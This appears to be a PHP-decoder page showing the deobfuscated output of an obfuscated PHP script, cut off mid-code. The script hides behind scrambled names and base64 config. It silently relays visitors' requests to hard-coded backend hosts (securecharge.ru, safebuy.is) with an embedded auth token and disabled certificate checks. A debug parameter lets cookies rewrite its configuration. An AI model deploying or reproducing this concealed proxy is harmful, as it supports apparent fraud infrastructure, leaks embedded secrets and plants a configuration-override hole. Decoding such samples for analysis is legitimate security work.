Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php define('njrhmzbk', isset($_REQUEST['DEBUG']) ? $_REQUEST['DEBUG'] : false); define('..

Decoded Output download

<?php define('njrhmzbk', isset($_REQUEST['DEBUG']) ? $_REQUEST['DEBUG'] : false); define('mtlizgfm', preg_match('/i.php/', $_SERVER['REQUEST_URI'])); if (njrhmzbk) { ini_set("display_errors", 1); 
error_reporting(E_ALL); } else { error_reporting(0); ini_set('expose_php', 0); } ob_start();  
class ndfjzdym { public static $zmqyjazn = array( 'mmjhnwmy' => 'YToyOntzOjE6ImEiO3M6MjE6Imhvc3Quc2VjdXJlY2hhcmdlLnJ1LiI7czoxOiJiIjtzOjE2OiJob3N0LnNhZmVidXkuaXMuIjt9', 'yfimjqxm' => 'czowOiIiOw==', 'timeout_dns' => 300, 'timeout_proxy' => 10, 'connect_timeout_proxy' => 3, 'header_host_value' => 'czoxNjoidGVtcGxhdGUtYmFja2VuZCI7', 'yjazmtyo' => 'czoxMDoiQVVUSC1UT0tFTiI7', 'mzcnwzhy' => 'czozNjoiMGUwYjM3ZmUtMzdiMC0xMWVhLWFiMTQtMDAxNjNlYzg2ZDJlIjs=', 'otjlzddh' => 'czoxNzoiWC1UZ2Vucy1DbGllbnQtSXAiOw==', 'use_dns_fallback' => true, 'shared_session_ttl' => 1800, 'generated_checksum' => '8ac2f8f01e2ce3846cd03490596934a8', 'created_time' => '01/15/2020 03:59:47', 'ngzjmjez' => 'f021226dcb5b4394e800b65508fb3177', 'ntinzvlo' => '19519f7867fcc2d6f0114e19111e40d0', 'yzymjimr' => 'czowOiIiOw==', 'aid' => 'czo4OiIzMTM5NTkyMyI7', 'sentry_nginx_key' => '89a49025cd9dcacc588cf8273763d0aa', 'sentry_dsn_key' => 'dbdf56e39fd0478082807d375b142d75', 'sentry_project_id' => '21' ); public static function ymfkzdrm() { $zwnimjuy = getlastmod() . getmyinode() . php_uname('a') . phpversion(); return md5($zwnimjuy); } public static function ztrmmjmo($ytyyzjiy) { if (mtlizgfm || njrhmzbk) { if (array_key_exists('config_' . $ytyyzjiy, $_COOKIE)) { self::$zmqyjazn[$ytyyzjiy] = $_COOKIE['config_' . $ytyyzjiy]; } } if (empty(self::$zmqyjazn[$ytyyzjiy])) return ''; if (is_string(self::$zmqyjazn[$ytyyzjiy])) { $mwyotgxz = self::mwyotgxz(base64_decode(self::$zmqyjazn[$ytyyzjiy])); return $mwyotgxz ? unserialize(base64_decode(self::$zmqyjazn[$ytyyzjiy])) : self::$zmqyjazn[$ytyyzjiy]; } return self::$zmqyjazn[$ytyyzjiy]; } public static function mwyotgxz($zjmyyjyy) { $mwyotgxz = @unserialize($zjmyyjyy); return $mwyotgxz === false ? false : true; } } if (version_compare(PHP_VERSION, '5.0.0', '<')) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); if (njrhmzbk) { echo "PHP Version < 5.0.0 : " . PHP_VERSION . "."; } exit(); } session_start(); $nzazzwin = session_id(); if (!empty($nzazzwin)) { session_write_close(); $ywiyqnzi = ndfjzdym::ymfkzdrm(); session_id($ywiyqnzi); session_start(); } class zmqywmyt extends Exception { } class nwuowyyy { public function zgizmmuz() { return "GET" == $_SERVER['REQUEST_METHOD']; } public function zdgzogji() { return "POST" == $_SERVER['REQUEST_METHOD']; } public function mjqynziz() { $njmxndni = array(); if (isset($_GET) && is_array($_GET)) { $njmxndni += $_GET; } if (isset($_POST) && is_array($_POST)) { $njmxndni += $_POST; } return $njmxndni; } public function zgmzwmod() { return isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'; } public function mdendkzn() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $zjlhymez = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $zjlhymez = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $zjlhymez = $_SERVER['REMOTE_ADDR']; } return $zjlhymez; } public function ntuotriy($ntkzmqxn) { if (empty($ntkzmqxn)) { return ''; } $zdkotgzm = 'HTTP_' . strtoupper(str_replace('-', '_', $ntkzmqxn)); if (isset($_SERVER[$zdkotgzm])) { return $_SERVER[$zdkotgzm]; } if (function_exists('apache_request_headers')) { $mjzinddl = apache_request_headers(); if (isset($mjzinddl[$ntkzmqxn])) { return $mjzinddl[$ntkzmqxn]; } $ntkzmqxn = strtolower($ntkzmqxn); foreach ($mjzinddl as $ytyyzjiy => $zjmyyjyy) { if (strtolower($ytyyzjiy) == $ntkzmqxn) { return $zjmyyjyy; } } } return false; } public function mjknmqwy($ytyyzjiy = null, $nzuwnwqn = null) { if (null === $ytyyzjiy) { return $_GET; } return (isset($_GET[$ytyyzjiy])) ? $_GET[$ytyyzjiy] : $nzuwnwqn; } public function nzmnziyn($ytyyzjiy, $mzlmnjlj) { $_GET[$ytyyzjiy] = $mzlmnjlj; } public function mjfkmgrk($ytyyzjiy, $mzlmnjlj) { $_POST[$ytyyzjiy] = $mzlmnjlj; } public function yzcwyjaz($ytyyzjiy = null, $nzuwnwqn = null) { if (null === $ytyyzjiy) { return $_POST; } return (isset($_POST[$ytyyzjiy])) ? $_POST[$ytyyzjiy] : $nzuwnwqn; } public function __unset($nmflotkn) { if (isset($_GET) && is_array($_GET) && array_key_exists($nmflotkn, $_GET)) { unset($_GET[$nmflotkn]); } if (isset($_POST) && is_array($_POST) && array_key_exists($nmflotkn, $_POST)) { unset($_POST[$nmflotkn]); } } public function __get($ytyyzjiy) { switch (true) { case isset($this->_params[$ytyyzjiy]): return $this->_params[$ytyyzjiy]; case isset($_GET[$ytyyzjiy]): return $_GET[$ytyyzjiy]; case isset($_POST[$ytyyzjiy]): return $_POST[$ytyyzjiy]; case isset($_COOKIE[$ytyyzjiy]): return $_COOKIE[$ytyyzjiy]; case ($ytyyzjiy == 'REQUEST_URI'): return $this->getRequestUri(); case ($ytyyzjiy == 'PATH_INFO'): return $this->getPathInfo(); case isset($_SERVER[$ytyyzjiy]): return $_SERVER[$ytyyzjiy]; case isset($_ENV[$ytyyzjiy]): return $_ENV[$ytyyzjiy]; case $this->mteyztfj(): return '/sentry'; default: return null; } } public function mteyztfj() { return array_key_exists('sentry_key', $_GET); } public function nzgzotiz($ytyyzjiy) { return $this->__get($ytyyzjiy); } public function ywunzliz() { return (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; } } class nmeywumz { const zjazmgji = 'GET'; const njfmzjgx = 'POST'; const yjemgmym = '1.1'; const mdiyzqwo = 'Content-Type'; const mjrjmmiz = 'Content-Length'; const zgmmjqot = 'application/x-www-form-urlencoded'; const mjkzdyzm = 'Origin'; const zjmmjcwy = 'multipart/form-data'; private $zwjimjqz = null; private $ztjmyzqz = array(); private $zdmzntem = array(); private $mjbhyzzi = array(); private $odkzjkwn = null; private $mjkmzlzd = null; private $ntgymtli = null; public function __construct(zjamdgmj $mmmzdymg, $nzlnzjym) { if (!$mmmzdymg->zwimjiyj()) { $mmmzdymg->nzqngyzn(($mmmzdymg->nmzizdhj() == 'https' ? 443 : 80)); } $this->zwjimjqz = $mmmzdymg; $this->ntgymtli = $nzlnzjym; } public function mzzhodan($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) { if (is_string($mtnmymqo)) { $this->mzzhodan($mtnmymqo, $nezogqyj); } else { $this->mzzhodan($nezogqyj, null); } } } else { if ($zjmyyjyy === null && (strpos($nmflotkn, ':') > 0)) { list($nmflotkn, $zjmyyjyy) = explode(':', $nmflotkn, 2); } $owizdynd = strtolower($nmflotkn); if ($zjmyyjyy === null || $zjmyyjyy === false) { unset($this->ztjmyzqz[$owizdynd]); } else { if (is_string($zjmyyjyy)) { $zjmyyjyy = trim($zjmyyjyy); } $this->ztjmyzqz[$owizdynd] = array( $nmflotkn, $zjmyyjyy ); } } return $this; } public function nduwmzmn($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) $this->mjqmtnmy('GET', $mtnmymqo, $nezogqyj); } else { $this->mjqmtnmy('GET', $nmflotkn, $zjmyyjyy); } return $this; } public function mmvhntzk($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) $this->mjqmtnmy('POST', $mtnmymqo, $nezogqyj); } else { $this->mjqmtnmy('POST', $nmflotkn, $zjmyyjyy); } return $this; } private function mjqmtnmy($zdbhmuzj, $nmflotkn, $zjmyyjyy) { $otczdbhn = array(); $zdbhmuzj = strtolower($zdbhmuzj); switch ($zdbhmuzj) { case 'get': $otczdbhn =& $this->zdmzntem; break; case 'post': $otczdbhn =& $this->mjbhyzzi; break; } if ($zjmyyjyy === null) { if (isset($otczdbhn[$nmflotkn])) unset($otczdbhn[$nmflotkn]); } else { $otczdbhn[$nmflotkn] = $zjmyyjyy; } } public function ztriytun($ymziywyy = 'GET') { if (!preg_match('/^[^--\(\)<>@,;:\\"\/\[\]\?={}\s]+$/', $ymziywyy)) { throw new zmqywmyt("Not a valid HTTP request method."); } if ($ymziywyy == self::njfmzjgx && $this->mjkmzlzd === null) { $this->mjkmzlzd = self::zgmmjqot; } $this->odkzjkwn = $ymziywyy; return $this; } public function mdgztiyj($ymziywyy = null) { if ($ymziywyy) { $this->ztriytun($ymziywyy); } $mgvjnmqx = null; $mmmzdymg = clone $this->zwjimjqz; if (!empty($this->zdmzntem)) { $nnkoteog = $mmmzdymg->mjknmqwy(); if (!empty($nnkoteog)) { $nnkoteog .= '&'; } $nnkoteog .= http_build_query($this->zdmzntem, null, '&'); $mmmzdymg->njmztbkm($nnkoteog); } $mdiwodnm = $this->nnhywezg(); $mjzinddl = $this->mzuztkyo(); $this->ntgymtli->zjexytew($mmmzdymg->ymuynjmt(), $mmmzdymg->zwimjiyj(), ($mmmzdymg->nmzizdhj() == 'https' ? true : false)); $this->ntgymtli->ztfkmgmy($this->odkzjkwn, $mmmzdymg, self::yjemgmym, $mjzinddl, $mdiwodnm); $mgvjnmqx = $this->ntgymtli->ytdhzmrk(); if (!$mgvjnmqx) { throw new zmqywmyt('Unable to read response, or response is empty'); } $mgvjnmqx = ndyztune::yjqynwqy($mgvjnmqx); return $mgvjnmqx; } public function zjgmddiz() { $zgqmjvjn = ndfjzdym::ztrmmjmo('sentry_nginx_key'); $otjkmjgn = ndfjzdym::ztrmmjmo('sentry_project_id'); $zmqyjazn = array( 'sentry_version' => $_GET['/api//store/?sentry_version'], 'sentry_client' => $_GET['sentry_client'], 'sentry_key' => ndfjzdym::ztrmmjmo('sentry_dsn_key') ); $mmmzdymg = clone $this->zwjimjqz; $mdiwodnm = file_get_contents('php://input'); $mmmzdymg->njmztbkm($zmqyjazn); $mmmzdymg->nzawmvhz("/$zgqmjvjn/api/$otjkmjgn/store/"); $this->mzzhodan(self::mjrjmmiz, strlen($mdiwodnm)); $this->mzzhodan(self::mdiyzqwo, 'text/plain'); $this->mzzhodan(self::mjkzdyzm, $_SERVER['HTTP_ORIGIN']); $mjzinddl = $this->mzuztkyo(); $this->ntgymtli->zjexytew($mmmzdymg->ymuynjmt(), $mmmzdymg->zwimjiyj(), $mmmzdymg->nmzizdhj() == 'https'); $this->ntgymtli->ztfkmgmy('POST', $mmmzdymg, self::yjemgmym, $mjzinddl, $mdiwodnm); $mgvjnmqx = $this->ntgymtli->ytdhzmrk(); if (!$mgvjnmqx) { throw new zmqywmyt('Unable to read response, or response is empty'); } $mgvjnmqx = ndyztune::yjqynwqy($mgvjnmqx); return $mgvjnmqx; } protected function mzuztkyo() { $mjzinddl = array(); if (!isset($this->ztjmyzqz['host'])) { $odzkzdfj = $this->zwjimjqz->ymuynjmt(); if (!(($this->zwjimjqz->nmzizdhj() == 'http' && $this->zwjimjqz->zwimjiyj() == 80) || ($this->zwjimjqz->nmzizdhj() == 'https' && $this->zwjimjqz->zwimjiyj() == 443))) { $odzkzdfj .= ':' . $this->zwjimjqz->zwimjiyj(); } $mjzinddl[] = "Host: {$odzkzdfj}"; } if (!isset($this->ztjmyzqz['connection'])) { $mjzinddl[] = "Connection: close"; } if (!isset($this->ztjmyzqz['accept-encoding'])) { if (function_exists('gzinflate')) { $mjzinddl[] = 'Accept-encoding: gzip, deflate'; } else { $mjzinddl[] = 'Accept-encoding: identity'; } } if ($this->odkzjkwn == self::njfmzjgx && (!isset($this->ztjmyzqz[strtolower(self::mdiyzqwo)]) && isset($this->mjkmzlzd))) { $mjzinddl[] = self::mdiyzqwo . ': ' . $this->mjkmzlzd; } foreach ($this->ztjmyzqz as $ntkzmqxn) { list($nmflotkn, $zjmyyjyy) = $ntkzmqxn; if (is_array($zjmyyjyy)) { $zjmyyjyy = implode(', ', $zjmyyjyy); } $mjzinddl[] = "$nmflotkn: $zjmyyjyy"; } return $mjzinddl; } protected function nnhywezg() { if (function_exists('mb_internal_encoding') && ((int)ini_get('mbstring.func_overload')) & 2) { $zdcxndjh = mb_internal_encoding(); mb_internal_encoding('ASCII'); } $mdiwodnm = ''; if (count($this->mjbhyzzi) > 0) { $this->mzzhodan(self::mdiyzqwo, self::zgmmjqot); $mdiwodnm = http_build_query($this->mjbhyzzi, '', '&'); } if ($mdiwodnm || $this->odkzjkwn == self::njfmzjgx) { $this->mzzhodan(self::mjrjmmiz, strlen($mdiwodnm)); } if (isset($zdcxndjh)) { mb_internal_encoding($zdcxndjh); } return $mdiwodnm; } } class zjamdgmj { const ymyngiyj = 'A-Za-z0-9'; const mdundand = '-_.!~*\'()\[\]'; const ztfknzkx = ';\/?:@&=+$,'; const odriotaz = ':@&=+$,;'; const ztkotqmt = '{}|\\^`'; protected $nzexyjdi = ''; protected $owqmwent = ''; protected $nwzkzmqo = ''; protected $mdmnzdjm = ''; protected $mzmzwmzd = ''; protected $owzlmgjm = ''; protected $mtmxntzm = array(); static protected $numtbint = array('allow_unwise' => false); protected function __construct($oweztuzw, $yzqyjkzt = '') { $this->nzexyjdi = $oweztuzw; $this->mtmxntzm['escaped'] = '%[[:xdigit:]]{2}'; $this->mtmxntzm['unreserved'] = '[' . self::ymyngiyj . self::mdundand . ']'; $this->mtmxntzm['segment'] = '(?:' . $this->mtmxntzm['escaped'] . '|[' . self::ymyngiyj . self::mdundand . self::odriotaz . '])*'; $this->mtmxntzm['path'] = '(?:\/(?:' . $this->mtmxntzm['segment'] . ')?)+'; $this->mtmxntzm['uric'] = '(?:' . $this->mtmxntzm['escaped'] . '|[' . self::ymyngiyj . self::mdundand . self::ztfknzkx . (self::$numtbint['allow_unwise'] ? self::ztkotqmt : '') . '])'; if (strlen($yzqyjkzt) === 0) { return; } $this->nzfinziy($yzqyjkzt); if ($this->ymvjmjyy() === false) { throw new zmqywmyt('Invalid zjamdgmj supplied'); } } public static function yjqynwqy($mmmzdymg) { if (is_string($mmmzdymg) === false) { throw new zmqywmyt('$mmmzdymg is not a string'); } $mmmzdymg = explode(':', $mmmzdymg, 2); $oweztuzw = strtolower($mmmzdymg[0]); $yzqyjkzt = isset($mmmzdymg[1]) === true ? $mmmzdymg[1] : ''; if (in_array($oweztuzw, array('http', 'https')) === false) { throw new zmqywmyt("Invalid scheme: '$oweztuzw'"); } $mzrjmzvh = new zjamdgmj($oweztuzw, $yzqyjkzt); return $mzrjmzvh; } protected function nzfinziy($yzqyjkzt) { $otfjyzjl = '~^((//)([^/?#]*))([^?#]*)(\?([^#]*))?(#(.*))?$~'; $ndhhmzym = @preg_match($otfjyzjl, $yzqyjkzt, $owyzztky); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: scheme-specific decomposition failed'); } if ($ndhhmzym === false) { return; } $this->mdmnzdjm = isset($owyzztky[4]) === true ? $owyzztky[4] : ''; $this->mzmzwmzd = isset($owyzztky[6]) === true ? $owyzztky[6] : ''; $mmzimgmz = isset($owyzztky[3]) === true ? $owyzztky[3] : ''; $otfjyzjl = '~^(([^:@]*)(:([^@]*))?@)?((?(?=[[])[[][^]]+[]]|[^:]+))(:(.*))?$~'; $ndhhmzym = @preg_match($otfjyzjl, $mmzimgmz, $owyzztky); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: authority decomposition failed'); } $this->owqmwent = isset($owyzztky[5]) === true ? preg_replace('~^\[([^]]+)\]$~', '', $owyzztky[5]) : ''; $this->nwzkzmqo = isset($owyzztky[7]) === true ? $owyzztky[7] : ''; } public function nmzizdhj() { if (empty($this->nzexyjdi) === false) { return $this->nzexyjdi; } else { return false; } } public function nzdhmjez() { if ($this->ymvjmjyy() === false) { throw newException('One or more parts of the zjamdgmj are invalid'); } $mdyyzdhh = strlen($this->nwzkzmqo) > 0 ? ":$this->nwzkzmqo" : ''; $nnkoteog = strlen($this->mzmzwmzd) > 0 ? "?$this->mzmzwmzd" : ''; return $this->nzexyjdi . '://' . $this->owqmwent . $mdyyzdhh . $this->mdmnzdjm . $nnkoteog; } public function ymvjmjyy() { return $this->mjcndriy() && $this->zthlymmy() && $this->ngjjmzcm() && $this->mgvlyjcy(); } public function ymuynjmt() { return strlen($this->owqmwent) > 0 ? $this->owqmwent : false; } public function mjcndriy($odzkzdfj = null) { if ($odzkzdfj === null) { $odzkzdfj = $this->owqmwent; } if (strlen($odzkzdfj) === 0) { return false; } if (nzazowrh::mduztyyn($odzkzdfj) || nzazowrh::mwymjgot($odzkzdfj)) { return true; } if (@preg_match('/^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/', $odzkzdfj)) { return true; } return false; } public function nzqmzkyj($odzkzdfj) { if ($this->mjcndriy($odzkzdfj) === false) { throw new zmqywmyt("Host \"$odzkzdfj\" is not a valid HTTP host"); } $mdnjmwuo = $this->owqmwent; $this->owqmwent = $odzkzdfj; return $mdnjmwuo; } public function zwimjiyj() { return strlen($this->nwzkzmqo) > 0 ? $this->nwzkzmqo : false; } public function zthlymmy($mdyyzdhh = null) { if ($mdyyzdhh === null) { $mdyyzdhh = $this->nwzkzmqo; } if (strlen($mdyyzdhh) === 0) { return true; } return ctype_digit((string)$mdyyzdhh) and 1 <= $mdyyzdhh and $mdyyzdhh <= 65535; } public function nzqngyzn($mdyyzdhh) { if ($this->zthlymmy($mdyyzdhh) === false) { throw new zmqywmyt("Port \"$mdyyzdhh\" is not a valid HTTP port."); } $ymuyntmz = $this->nwzkzmqo; $this->nwzkzmqo = $mdyyzdhh; return $ymuyntmz; } public function ymmxmtli() { return strlen($this->mdmnzdjm) > 0 ? $this->mdmnzdjm : '/'; } public function ngjjmzcm($mzemgvjz = null) { if ($mzemgvjz === null) { $mzemgvjz = $this->mdmnzdjm; } if (strlen($mzemgvjz) === 0) { return true; } $otfjyzjl = '/^' . $this->mtmxntzm['path'] . '$/'; $ndhhmzym = @preg_match($otfjyzjl, $mzemgvjz); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: path validation failed'); } return (boolean)$ndhhmzym; } public function nzawmvhz($mzemgvjz) { if ($this->ngjjmzcm($mzemgvjz) === false) { throw new zmqywmyt("Path \"$mzemgvjz\" is not a valid HTTP path"); } $otnmmmyz = $this->mdmnzdjm; $this->mdmnzdjm = $mzemgvjz; return $otnmmmyz; } public function mjknmqwy() { return strlen($this->mzmzwmzd) > 0 ? $this->mzmzwmzd : false; } public function owmndvjn() { $nnkoteog = $this->mjknmqwy(); $mwrmodnl = array(); if ($nnkoteog !== false) { parse_str($nnkoteog, $mwrmodnl); } return $mwrmodnl; } public function mgvlyjcy($nnkoteog = null) { if ($nnkoteog === null) { $nnkoteog = $this->mzmzwmzd; } if (strlen($nnkoteog) === 0) { return true; } $otfjyzjl = '/^' . $this->mtmxntzm['uric'] . '*$/'; $ndhhmzym = @preg_match($otfjyzjl, $nnkoteog); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: query validation failed'); } return $ndhhmzym == 1; } public function njmztbkm($nnkoteog) { $nzhkzdbj = $this->mzmzwmzd; if (empty($nnkoteog) === true) { $this->mzmzwmzd = ''; return $nzhkzdbj; } if (is_array($nnkoteog) === true) { $nnkoteog = http_build_query($nnkoteog, '', '&'); } else { $nnkoteog = (string)$nnkoteog; if ($this->mgvlyjcy($nnkoteog) === false) { parse_str($nnkoteog, $njbmzdjl); $nnkoteog = http_build_query($njbmzdjl, '', '&'); } } if ($this->mgvlyjcy($nnkoteog) === false) { throw new zmqywmyt("'$nnkoteog' is not a valid query string"); } $this->mzmzwmzd = $nnkoteog; return $nzhkzdbj; } } class ndyztune { protected static $mtdmmzqn = array( 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-zjamdgmj Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 509 => 'Bandwidth Limit Exceeded' ); protected $yzymjimr; protected $ztzmyjam; protected $nmyyjlhz; protected $mjzinddl = array(); protected $mdiwodnm; public function __construct($ztzmyjam, array $mjzinddl, $mdiwodnm = null, $yzymjimr = '1.1', $nmyyjlhz = null) { if (self::ngzjywqw($ztzmyjam) === null) { throw new zmqywmyt("{$ztzmyjam} is not a valid HTTP response code"); } $this->ztzmyjam = $ztzmyjam; foreach ($mjzinddl as $nmflotkn => $zjmyyjyy) { if (is_int($nmflotkn)) { $ntkzmqxn = explode(":", $zjmyyjyy, 2); if (count($ntkzmqxn) != 2) { throw new zmqywmyt("'{$zjmyyjyy}' is not a valid HTTP header"); } $nmflotkn = trim($ntkzmqxn[0]); $zjmyyjyy = trim($ntkzmqxn[1]); } $this->mjzinddl[ucwords(strtolower($nmflotkn))] = $zjmyyjyy; } $this->mdiwodnm = $mdiwodnm; if (!preg_match('|^\d\.\d$|', $yzymjimr)) { throw new zmqywmyt("Invalid HTTP response version: $yzymjimr"); } $this->yzymjimr = $yzymjimr; if (is_string($nmyyjlhz)) { $this->nmyyjlhz = $nmyyjlhz; } else { $this->nmyyjlhz = self::ngzjywqw($ztzmyjam); } } public function nzqwmrlo() { return $this->mdiwodnm; } public function mgmxzmqm() { return $this->yzymjimr; } public function yiowyyjr() { return $this->ztzmyjam; } public function getMessage() { return $this->nmyyjlhz; } public function yjezdiwy() { return $this->mjzinddl; } public function ntuotriy($ntkzmqxn) { $ntkzmqxn = ucwords(strtolower($ntkzmqxn)); if (!is_string($ntkzmqxn) || !isset($this->mjzinddl[$ntkzmqxn])) return null; return $this->mjzinddl[$ntkzmqxn]; } public function ytynflyt($ndfmywuz = true, $mvinjuod = "
") { $mzqmjqnm = ''; if ($ndfmywuz) { $mzqmjqnm = "HTTP/{$this->yzymjimr} {$this->ztzmyjam} {$this->nmyyjlhz}{$mvinjuod}"; } foreach ($this->mjzinddl as $nmflotkn => $zjmyyjyy) { if (is_string($zjmyyjyy)) { $mzqmjqnm .= "{$nmflotkn}: {$zjmyyjyy}{$mvinjuod}"; } elseif (is_array($zjmyyjyy)) { foreach ($zjmyyjyy as $ogjingmz) { $mzqmjqnm .= "{$nmflotkn}: {$ogjingmz}{$mvinjuod}"; } } } return $mzqmjqnm; } public function mgjjytkz($mvinjuod = "
") { return $this->ytynflyt(true, $mvinjuod) . $mvinjuod . $this->nzqwmrlo(); } public static function ngzjywqw($ztzmyjam = null, $nmyndfky = true) { $mtdmmzqn = self::$mtdmmzqn; if (!$nmyndfky) $mtdmmzqn[302] = 'Moved Temporarily'; if ($ztzmyjam === null) { return $mtdmmzqn; } elseif (isset($mtdmmzqn[$ztzmyjam])) { return $mtdmmzqn[$ztzmyjam]; } else { return 'Unknown'; } } public static function zjmxzwfm($nzhmdhky) { preg_match("|^HTTP/[\d\.x]+ (\d+)|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return (int)$nmiwzdmx[1]; } else { return false; } } public static function ytbjzjqz($nzhmdhky) { preg_match("|^HTTP/[\d\.x]+ \d+ ([^
]+)|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return $nmiwzdmx[1]; } else { return false; } } public static function munwfinj($nzhmdhky) { preg_match("|^HTTP/([\d\.x]+) \d+|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return $nmiwzdmx[1]; } else { return false; } } public static function ytzhnumt($nzhmdhky) { $mjzinddl = array(); $otaztziz = preg_split('|(?:
?
){2}|m', $nzhmdhky, 2); if (!$otaztziz[0]) { return $mjzinddl; } $oduynwfh = explode("
", $otaztziz[0]); unset($otaztziz); $ywmmwimj = null; foreach ($oduynwfh as $mjyzjmyf) { $mjyzjmyf = trim($mjyzjmyf, "
"); if ($mjyzjmyf == "") break; if (preg_match("|^([\w-]+):\s*(.+)|", $mjyzjmyf, $nmiwzdmx)) { unset($ywmmwimj); $ngmytgnj = strtolower($nmiwzdmx[1]); $ztiymtcy = $nmiwzdmx[2]; if (isset($mjzinddl[$ngmytgnj])) { if (!is_array($mjzinddl[$ngmytgnj])) { $mjzinddl[$ngmytgnj] = array( $mjzinddl[$ngmytgnj] ); } $mjzinddl[$ngmytgnj][] = $ztiymtcy; } else { $mjzinddl[$ngmytgnj] = $ztiymtcy; } $ywmmwimj = $ngmytgnj; } elseif (preg_match("|^\s+(.+)$|", $mjyzjmyf, $nmiwzdmx) && $ywmmwimj !== null) { if (is_array($mjzinddl[$ywmmwimj])) { end($mjzinddl[$ywmmwimj]); $ndkmguyo = key($mjzinddl[$ywmmwimj]); $mjzinddl[$ywmmwimj][$ndkmguyo] .= $nmiwzdmx[1]; } else { $mjzinddl[$ywmmwimj] .= $nmiwzdmx[1]; } } } return $mjzinddl; } public static function nzlkmjmm($nzhmdhky) { $otaztziz = preg_split('|(?:
?
){2}|m', $nzhmdhky, 2); if (isset($otaztziz[1])) { return $otaztziz[1]; } return ''; } public static function yjqynwqy($nzhmdhky) { $ztzmyjam = self::zjmxzwfm($nzhmdhky); $mjzinddl = self::ytzhnumt($nzhmdhky); $mdiwodnm = self::nzlkmjmm($nzhmdhky); $yzymjimr = self::munwfinj($nzhmdhky); $nmyyjlhz = self::ytbjzjqz($nzhmdhky); return new ndyztune($ztzmyjam, $mjzinddl, $mdiwodnm, $yzymjimr, $nmyyjlhz); } public function yzbknwqy() { $this->otvinwjl(); $this->ognmmtun(); } public function otvinwjl() { $yzinwmwz = false; foreach ($this->yjezdiwy() as $nmflotkn => $zjmyyjyy) { if (!$yzinwmwz && $this->yiowyyjr()) { header($nmflotkn . ': ' . $zjmyyjyy, false, $this->yiowyyjr()); $yzinwmwz = true; } else { header($nmflotkn . ': ' . $zjmyyjyy, false); } } if (!$yzinwmwz) { header('HTTP/1.1 ' . $this->yiowyyjr()); } return $this; } public function ognmmtun() { echo $this->nzqwmrlo(); } } class odrhytmz { private $zmiztzmm = null; private $ytgndqyn = array(null, null); protected $numtbint = array( 'persistent' => false, 'ssltransport' => 'ssl', 'timeout' => 10, 'connect_timeout' => 3, ); protected $ymziywyy = null; protected $zjmwmwzi = null; public function __construct(array $zgziytdh = array()) { $this->numtbint = array_merge($this->numtbint, $zgziytdh); } public function ntqytmyn($zwmynziy) { if (is_resource($zwmynziy) && get_resource_type($zwmynziy) == 'stream-context') { $this->zjmwmwzi = $zwmynziy; } elseif (is_array($zwmynziy)) { $this->zjmwmwzi = stream_context_create($zwmynziy); } else { throw new zmqywmyt("Expecting either a stream context resource or array, got " . gettype($zwmynziy)); } return $this; } public function yzmwnizo() { if (!$this->zjmwmwzi) { $this->zjmwmwzi = stream_context_create(array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); } return $this->zjmwmwzi; } public function zjexytew($odzkzdfj, $mdyyzdhh = 80, $zdaxnwnj = false) { $odzkzdfj = ($zdaxnwnj ? $this->numtbint['ssltransport'] : 'tcp') . '://' . $odzkzdfj; if (($this->ytgndqyn[0] != $odzkzdfj || $this->ytgndqyn[1] != $mdyyzdhh)) { if (is_resource($this->zmiztzmm)) $this->zgezodgm(); } if (!is_resource($this->zmiztzmm) || !$this->numtbint['keepalive']) { $zwmynziy = $this->yzmwnizo(); $yzemtgym = STREAM_CLIENT_CONNECT; if ($this->numtbint['persistent']) { $yzemtgym |= STREAM_CLIENT_PERSISTENT; } $this->zmiztzmm = @stream_socket_client($odzkzdfj . ':' . $mdyyzdhh, $mjcogexo, $odcmgixz, (int)$this->numtbint['connect_timeout'], $yzemtgym, $zwmynziy); if (!$this->zmiztzmm) { $this->zgezodgm(); throw new zmqywmyt('Unable to Connect to ' . $odzkzdfj . ':' . $mdyyzdhh . '. Error #' . $mjcogexo . ': ' . $odcmgixz); } if (!stream_set_timeout($this->zmiztzmm, (int)$this->numtbint['timeout'])) { throw new 